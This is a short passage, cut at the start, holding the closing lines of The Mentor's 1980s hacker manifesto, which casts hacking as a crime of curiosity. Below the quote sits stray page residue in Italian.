criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto. You may stop this individual, but you cant stop us all... after all, were all alike. +++The Mentor+++

99

Potrebbero piacerti anche